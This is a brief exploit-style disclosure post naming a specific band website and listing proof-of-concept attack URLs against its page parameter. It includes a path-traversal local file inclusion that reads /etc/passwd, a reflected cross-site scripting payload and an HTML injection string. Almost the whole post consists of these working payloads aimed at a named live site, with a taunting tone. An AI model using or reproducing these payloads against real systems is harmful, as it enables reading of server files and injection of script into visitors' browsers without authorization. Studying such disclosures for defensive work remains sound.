what's up security guys, rômulo (século xxi) in the your network! website: www.ravagedband.com vulnerabilities: local file inclusion, cross-site scripting, html injection proof of concept lfi example: https://www.ravagedband.com/index.php?page=../../../../../../../../../etc/passwd xss example: https://www.ravagedband.com/index.php?page=%3Cscript%3Ealert(%27your%20security%20is%20low%27)%3C/script%3E html injection example: https://www.ravagedband.com/index.php?page=<p>your security is low</p> the end!